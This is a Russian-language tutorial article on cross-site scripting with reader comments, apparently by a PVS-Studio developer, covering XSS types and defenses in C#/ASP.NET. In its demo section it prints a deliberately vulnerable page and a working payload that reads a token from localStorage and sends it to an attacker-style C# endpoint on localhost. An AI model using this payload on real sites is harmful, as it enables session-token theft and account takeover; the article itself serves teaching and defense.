XSS, или межсайтовый скриптинг, является одной из самых часто встречающихся уязвимостей в веб-приложениях. Она уже долгое время входит в OWASP Top 10 – список самых критичных угроз безопасности веб-приложений. Давайте вместе разберемся, как в вашем браузере может выполниться скрипт, полученный со стороннего сайта, и к чему это может привести (спойлер: например, к краже cookie). Заодно поговорим о том, что необходимо предпринять, чтобы обезопаситься от XSS.

Что такое XSS?

Межсайтовый скриптинг (XSS) — тип атаки на веб-системы: он заключается во внедрении в веб-страницу вредоносного кода, который взаимодействует с веб-сервером злоумышленника. Чаще всего вредоносный код выполняется в браузере пользователя при рендеринге страницы. Реже — от пользователя требуется выполнение дополнительных действий. Получается, что во многих случаях для использования XSS уязвимости злоумышленником пользователю необходимо просто открыть веб-страницу с внедрённым вредоносным кодом. Это одна из причин того, почему на момент написания статьи XSS занимает 7-ое место в OWASP Top 10 — списке самых опасных уязвимостей веб-приложений, сформированном в 2017 году.

При отображении страницы браузер не может отличить обычный текст от HTML разметки. Из-за этого он будет выполнять весь JavaScript код, расположенный в тегах <script>, при отображении страницы. Эта особенность браузера является одной из основных причин возможности XSS атак.

Получается, чтобы выполнить XSS атаку, необходимо выполнить несколько условий:

  • внедрить в веб-страницу вредоносный код, который взаимодействует с веб-сервером злоумышленника;

  • выполнить внедренный код при рендеринге страницы в браузере или при определённых действиях пользователя в браузере.

Теперь давайте рассмотрим пример XSS атаки.

Пример XSS атаки

Итак, начнём по порядку. Каким образом возможно внедрить код в веб-страницу? Первое, что мне пришло в голову, – это использование параметров GET запроса. Для примера создадим веб-страницу с такой логикой:

  • если параметр xss GET запроса пуст, то отобразим на веб-странице сообщение Empty 'xss' parameter;

  • в противном случае отобразим на веб-странице данные из xss параметра.

Код страницы:

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8" />
    <title>XSS Example</title>
  </head>
  <body>
    <div style="text-align: center">Value of the 'xss' parameter: </div>
  </body>
</html>

<script>
  var urlParams = new URLSearchParams(window.location.search);
  var xssParam = urlParams.get("xss");
  var pageMessage = xssParam ? xssParam : "Empty 'xss' parameter";
  document.write('<div style="text-align: center">' 
                 + pageMessage + '</div>');
</script>

Теперь проверим, что всё работает. Открываем страницу с пустым значением у параметра xss:

Открываем страницу со значением Not empty 'xss' parameter у параметра xss:

Отображение строки работает. А теперь самое интересное! Передадим в параметре xss строку <script>alert("You've been hacked! This is an XSS attack!")</script>.

В результате при открытии страницы код из параметра будет выполнен, и мы увидим диалоговое окно с текстом, переданным в метод alert:

Вау! JavaScript код, который мы передали через параметр xss, выполнился при отображении страницы. Таким образом я наполовину выполнил первый пункт из определения XSS атаки: на страницу внедрён код, который выполнился при отображении страницы, однако он не нанёс никакого вреда.

Теперь добавим взаимодействие внедрённого кода с веб-сервером злоумышленника. Аналогом веб-сервера в моём примере будет веб-сервис, написанный на C#. Код конечной точки веб-сервиса:

[ApiController]
[Route("{controller}")]
public class AttackerEndPointController : ControllerBase
{
  [HttpGet]
  public IActionResult Get([FromQuery] string stolenToken)
  {
    var resultFilePath = Path.Combine(Directory.GetCurrentDirectory(), 
                                      "StolenTokenResult.txt");
    System.IO.File.WriteAllText(resultFilePath, stolenToken);
    return Ok();
  }
} 

Чтобы обратиться к этому веб-сервису, я передам в параметре xss строку:

"<script>
  var xmlHttp = new XMLHttpRequest();
  xmlHttp.open('GET',
    'https://localhost:44394/AttackerEndPoint?stolenToken=TEST_TOKEN', 
               true);
  xmlHttp.send(null);
</script>"

При открытии страницы код из параметра будет выполнен, и веб-сервису по адресу https://localhost:44394/AttackerEndPoint будет отправлен GET запрос, где в параметре stolenToken будет передана строка TEST_TOKEN. При получении запроса веб-сервис сохранит значение из параметра stolenToken в файл StolenTokenResult.txt.

Протестируем это поведение. Откроем страницу и увидим, что на ней ничего не отображается, кроме стандартного сообщения Value of the 'xss' parameter:.

Однако во вкладке 'Network' в инструментах разработчика висит сообщение о том, что веб-сервису по адресу https://localhost:44394/AttackerEndPoint был отправлен запрос:

Теперь проверим, что же содержится в файле StolenTokenResult.txt:

Ок, все работает. Таким образом мы почти выполнили все условия XSS атаки:

  • на страницу внедряется код через параметр xss в GET запросе;

  • этот код выполняется при открытии страницы и взаимодействует с веб-сервисом по адресу https://localhost:44394/AttackerEndPoint.

Осталось сделать этот код вредоносным. Из моего небольшого опыта веб-программирования я знаю, что в локальном хранилище браузера иногда хранятся токены для проверки аутентификации пользователя на нескольких сайтах или в нескольких веб-приложениях. Работает это так:

  • если в локальном хранилище в браузере пользователя имеется необходимый токен, то аутентификация игнорируется и сразу предоставляется доступ к аккаунту пользователя;

  • если токена в локальном хранилище браузера нет, то вначале пользователь проходит аутентификацию.

Для того чтобы код, выполненный на странице, оказался вредоносным, я решил изменить код страницы. Теперь при её открытии в локальное хранилище браузера сохраняется строка USER_VERY_SECRET_TOKEN по ключу SECRET_TOKEN. Для этого я изменил код страницы:

<!DOCTYPE html>
<html>
 ....
</html>

<script>
  localStorage.setItem("SECRET_TOKEN", "USER_VERY_SECRET_TOKEN");
  ....
</script> 

Осталось передать в GET запросе через параметр xss код, который получит из локального хранилища данные и отправит их на веб-сервис. Для этого я передам в параметре строку:

"<script>
  var xmlHttp = new XMLHttpRequest();
  var userSecretToken = localStorage.getItem('SECRET_TOKEN');
  var fullUrl = 'https://localhost:44394/AttackerEndPoint?stolenToken='
                 %2b userSecretToken;
  xmlHttp.open('GET', fullUrl, true);
  xmlHttp.send(null);
</script>"

Вместо символа '+' я использовал его кодированный вариант %2b, потому что в URL для символа '+' отведено специальное назначение.

Проверяем, что все работает так, как я описал. Открываем страницу:

Здесь, как и в прошлый раз, только сообщение Value of the 'xss' parameter: посередине страницы. Осталось проверить, что код был выполнен и веб-сервису был отправлен запрос, где значение параметра stolenToken было равно USER_VERY_SECRET_TOKEN:

Если на моем месте был бы обычный пользователь, то он бы не заметил выполнения скрипта при открытии страницы, потому что на странице ничто об этом не сигнализировало.

Теперь убедимся, что веб-сервис получил украденный токен:

Да, получил. В переменной stolenToken находится значение USER_VERY_SECRET_DATA. Ну и, естественно, веб-сервис сохранил его в файл StolenTokenResult.txt. Поздравляю, XSS атака прошла успешно.

В этом примере я сам передал вредоносный код в параметре запроса. В реальной же жизни злоумышленник замаскирует ссылку (например, при помощи программы сокращения ссылок) с вредоносным кодом и отправит ее пользователю на почту (представившись техподдержкой или администрацией сайта) или опубликует её на стороннем сайте. Кликнув на замаскированную ссылку, пользователь откроет веб-страницу и тем самым запустит вредоносный скрипт у себя в браузере, ничего не подозревая об этом. После выполнения скрипта злоумышленник получит токен и, используя его, окажется в аккаунте пользователя. В результате он сможет похитить конфиденциальные данные или выполнить вредоносные действия от имени пользователя.

Разобрав на примере, как может произойти XSS атака, стоит немного углубиться в теорию и познакомиться с типами XSS атак:

  • отраженные XSS. Вредоносный скрипт внедряется в виде текста на веб-страницу, и выполняется при открытии страницы в браузере пользователя;

  • хранимые XSS. Похожи на отраженные, только данные с вредоносным скриптом каким-либо образом (например, через поля формы на странице, параметры запроса или SQL инъекцию) сохраняются злоумышленником в хранилище (база данных, файл и т.п.). Потом данные из хранилища без кодирования HTML символов добавляются на страницу, отображаемую пользователю, в результате чего при открытии страницы выполняется вредоносный скрипт. Данный вид атаки особенно опасен тем, что потенциально задевает не одного пользователя, а целую группу. Например, если вредоносный скрипт попадает на страницу новостей на форуме, которую может просматривать любой;

  • XSS в DOM-Модели. Этот тип атаки отличается тем, что вредоносный скрипт попадает не на веб-страницу, отображаемую пользователю, а внедряется в DOM-модель веб-страницы. Например, вредоносный скрипт добавляется в обработчик события нажатия кнопки на веб-странице и выполняется при нажатии пользователем на эту кнопку.

Учитывая, что эту статью скорее всего читает разработчик, стоит рассказать о способах, которые помогут избежать появления XSS уязвимостей при разработке. Давайте с ними познакомимся.

Способы защиты от XSS уязвимостей при разработке

Так как я являюсь C# разработчиком, то способы защиты от XSS будут рассмотрены для языка C#. Однако это никак не повлияет на информативность, потому что варианты защиты, описанные ниже, подойдут для практически любого языка программирования.

Первый вариант защиты от XSS уязвимостей при разработке – это использование возможностей веб-фреймворка. Например, в C# фреймворке ASP.NET можно в файлах .cshtml  и .razor смешивать HTML разметку и C# код:

@page
@model ErrorModel
@{
  ViewData["Title"] = "Error";
}

<h1 class="text-danger">Error.</h1>
<h2 class="text-danger">An error occurred while processing your request.</h2>

@if (Model.ShowRequestId)
{
  <p>
    <strong>Request ID:</strong> <code>@Model.RequestId</code>
  </p>
}

В этом файле на странице отображается результат C# выражения Model.RequestId. Чтобы данный тип файла скомпилировался, C# выражение или блок C# кода должен начинаться с символа '@'. Однако этот символ не только позволяет использовать C# вместе с HTML разметкой в одном файле, но и указывает ASP.NET, что если блок кода или выражение возвращают значение, то перед его отображением на странице необходимо в значении кодировать символы HTML в HTML-сущности. HTML-сущности — это части текста ("строки"), которые начинаются с символа амперсанда (&) и заканчиваются точкой с запятой (;). Сущности чаще всего используются для представления специальных символов (которые могут быть восприняты как часть HTML-кода) или невидимых символов (таких как неразрывный пробел). Таким образом ASP.NET защищает разработчиков от XSS атак.

Однако особое внимание стоит уделить файлам с расширением .aspx в ASP.NET (более старая версия файлов HTML страниц с поддержкой C# кода). Этот тип файлов не кодирует автоматически результаты C# выражений. Для кодирования HTML символов в C# выражениях в этом типе файлов необходимо помещать C# код в блок кода <%: %>. Например: 

<asp:Content ID="BodyContent" ContentPlaceHolderID="MainContent" runat="server">
  ....  
  <h2><%: Title.Substring(1);%>.</h2>
  ....
</asp:Content>

Вторым вариантом является кодирование HTML символов в HTML-сущности перед отображением данных на веб-странице "вручную", то есть с использованием специальных функций-кодировщиков. В C# для этого имеются специальные методы:

  • System.Web.HttpUtility.HtmlEncode(string);

  •  System.Net.WebUtility.HtmlEncode(string);

  • System.Web.Security.AntiXss.HtmlEncode(string);

  • System.Text.Encodings.Web.HtmlEncoder.Default.Encode(string).

В результате кодирования HTML символов вредоносный код не выполняется браузером, а просто отображается в виде текста на веб-странице, причем закодированные символы отображаются корректно.

Давайте я продемонстрирую данный способ защиты на примере XSS атаки, проведённой ранее. Вот только одна проблема: в JavaScript я не нашёл функции, которая кодирует HTML символы в HTML-сущности. Зато я нашёл в интернете способ, как быстро и легко написать такую функцию:

При написании этой функции была использована особенность свойства Element.innerHTML. Используем эту функцию на HTML странице из примера XSS атаки:

<!DOCTYPE html>
<html>
  ....
</html>

<script>

  function htmlEncode(str)
  {
    var div = document.createElement('div');
    div.appendChild(document.createTextNode(str));
    return div.innerHTML;
  }

  var urlParams = new URLSearchParams(window.location.search);
  var xssParam = urlParams.get("xss");
  var pageMessage = xssParam ? xssParam : "Empty 'xss' parameter";
  
  var encodedMessage = htmlEncode(pageMessage);                      //<=

  document.write('<div style="text-align: center">' 
                 + encodedMessage + '</div>');

</script>

Здесь мы кодируем значение xss параметра при помощи функции htmlEncode перед отображением на странице.

Теперь откроем эту страницу, передав в параметре xss строку <script>alert("You've been hacked! This is an XSS attack!")</script>:

Как видите, при кодировании строки со скриптом браузер просто отображает эту строку на странице, а не выполняет скрипт.

Третий вариант защиты – это валидация данных, полученных от пользователя или какого-то другого внешнего источника (HTML запрос, база данных, файл и т.п.). Для этого типа защиты хорошо подходят регулярные выражения. Их можно использовать для отлова данных, содержащих опасные символы или конструкции. При обнаружении подобных данных валидатором приложение просто должно выдать пользователю сообщение об опасных данных и не отправлять их далее на обработку.

О других способах защиты от XSS вы можете прочитать здесь. Как видно из рассмотренного выше примера, даже в простейшей веб-странице с минимальным исходным кодом может иметься XSS уязвимость. Представьте, какие же тогда возможности для XSS открываются в проектах, имеющих десятки тысяч строк кода. Учитывая это, были разработаны автоматизированные инструменты для поиска XSS уязвимостей. С помощью этих утилит сканируется исходный код или точки доступа сайта или веб-приложения и составляется отчёт о найденных уязвимостях.

Автоматизированный поиск XSS уязвимостей

Если при разработке вы не уделяли должного внимания защите от XSS, то не всё ещё потерянно. Для поиска уязвимостей в безопасности сайтов и веб-приложений имеется множество XSS сканеров. Благодаря им вы можете найти большинство известных уязвимостей в своих проектах (и не только в своих, потому что некоторым сканерам не нужны исходники). Имеются как бесплатные, так и платные варианты подобных сканеров. Конечно, вы можете попробовать написать собственные инструменты поиска XSS уязвимостей, но они, скорее всего, будут намного хуже профессиональных платных инструментов.

И все-таки более логичным и дешёвым вариантом является поиск и исправление уязвимостей на ранних стадиях разработки. Значительную помощь в этом оказывают XSS сканеры и статические анализаторы кода. Например, в контексте разработки на языке C# одним из таких статических анализаторов является PVS-Studio. В этом анализаторе недавно появилась новая C# диагностика — V5610, которая как раз ищет потенциальные XSS уязвимости. Также можно использовать оба типа инструментов, потому что каждый из них имеет собственную зону ответственности. Благодаря этому вы обнаружите как существующие уязвимости в проекте, так и уязвимости, которые будут возникать при развитии проекта.

Если вам интересна тема уязвимостей в целом, а также способы их обнаружения с помощью статического анализа, то предлагаю прочитать статью "OWASP, уязвимости и taint анализ в PVS-Studio C#. Смешать, но не взбалтывать".

Заключение

XSS — это необычная и довольно мерзкая уязвимость в веб-безопасности. В данной статье я привёл лишь один простой пример XSS атаки. В реальности же вариантов атак огромное количество. У каждого проекта могут иметься как уникальные, так и известные XSS уязвимости, которыми могут воспользоваться злоумышленники. Если вы хотите найти уязвимости в уже готовом проекте или если у вас нет доступа к исходному коду проекта, то стоит обратить свое внимание на XSS сканеры. Для защиты от появления XSS уязвимостей при разработке стоит применять статические анализаторы кода.

P.S. Если хотите получить немного практики с XSS (в учебных целях), предлагаю попробовать игру про XSS от Google.

Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Valery Komarov. XSS: attack, defense — and C# programming.

Комментарии (10)


  1. asommer
    24.08.2021 17:54
    +1

    Вы забыли упомянуть о Mutated XSS в списке типов


    1. ValeryKomarov Автор
      26.08.2021 09:38
      +2

      Да, забыл. В русской версии страницы об XSS на википедии оно не упомяналось.
      Почитал об этом виде XSS пару статей. И правда этот вид XSS является самым неуловимым, а поэтому и самым интересным для дальнейшего его изучения. В будущем буду более тщательно искать информацию, чтобы не упустить подобных интересных фактов.


      1. asommer
        26.08.2021 09:40
        +1

        А я забыл о том что есть еще и Blind XSS :)


  1. kasthack_phoenix
    25.08.2021 00:55
    +2

    Столько воды, что у меня телефон умер.

    Делаем XSS на клиенте

    Удивляемся, что XSS работает

    "Нужно использовать стандартные инструменты, которые работают наиболее очевидным образом"(на самом деле, сейчас везде SPA и дотнет будет отдавать всё данные по API приложению на ангуляре / реакте / вью).

    Rocket science просто, особенно рекомендации для webforms / aspx, которые остались на фреймворке и не поддерживаются на core / .net 5+.


    1. ValeryKomarov Автор
      26.08.2021 09:48

      Я понимаю, что многие современные приложения уже не используют webforms / aspx, однако все еще остались веб-приложения или сайты, в которых все еще используется webforms / aspx. И те кто будет их дорабатывать или переписывать могут не знать о возможности защиты от XSS при помощи возможностей данного фреймворка. Поэтому я и решил упомянуть об этом.

      Замечание насчет React / Vue: некорректное использование их компонентов или просто наличие уязвимостей в данных фреймворках (которые просто еще не заметили и не исправили) могут все еще привести к появлению XSS уязвимостей. Не обязательно что уязвимости будут иметься в самих фреймворках, возможно сочетание данных фреймсворков с другими технологиями может привести к XSS уязвимостям. Поэтому даже грамотное испольщзование этих фреймворков модет привести к XSS уязвимости при интеграции с другой технологией.


  1. pvsur
    25.08.2021 17:19
    +1

    Из моего небольшого опыта веб-программирования я знаю, что в локальном хранилище браузера иногда хранятся токены для проверки аутентификации пользователя на нескольких сайтах или в нескольких веб-приложениях.
    если в локальном хранилище в браузере пользователя имеется необходимый токен, то аутентификация игнорируется и сразу предоставляется доступ к аккаунту пользователя;
    если токена в локальном хранилище браузера нет, то вначале пользователь проходит аутентификацию.


    Дополнительно стоит еще и IP-адрес при запросе проверять — если не совпадает с адресом при аутентификации, то токен считается устаревшим и пользователь отправляется на переаутентификацию. Теоретически помогает от описанного воровства токенов…


    1. ValeryKomarov Автор
      26.08.2021 09:31

      Спасибо за информацию. Постараюсь не забыть об IP-адресе, если буду разрабатывать веб-приложение, использующее подобные токены. А насет защиты от XSS, то возможно в этом случае проверка IP-адреса и поможет, однако в статье приводится простейший пример XSS уязвимости. В других же случаях проверка IP- адреса может не помочь защититься от XSS.


    1. kasthack_phoenix
      24.09.2021 15:28

      если не совпадает с адресом при аутентификации, то токен считается устаревшим и пользователь отправляется на переаутентификацию.

      Мобильные пользователи, у которых IP может меняться каждые несколько минут(например, при поездке в метро), вас поблагодарят.


      1. pvsur
        24.09.2021 16:33

        См. пост ниже...


  1. pvsur
    26.08.2021 09:45
    +1

    Ест-но... Не всегда проверка по ip допустима (привет мобильным сетям и кафешкам), не защищает от внутренних угроз и NAT и пр..

    Но для критичных вещей, да ещё и вкупе с коротким временем жизни токена вполне востребована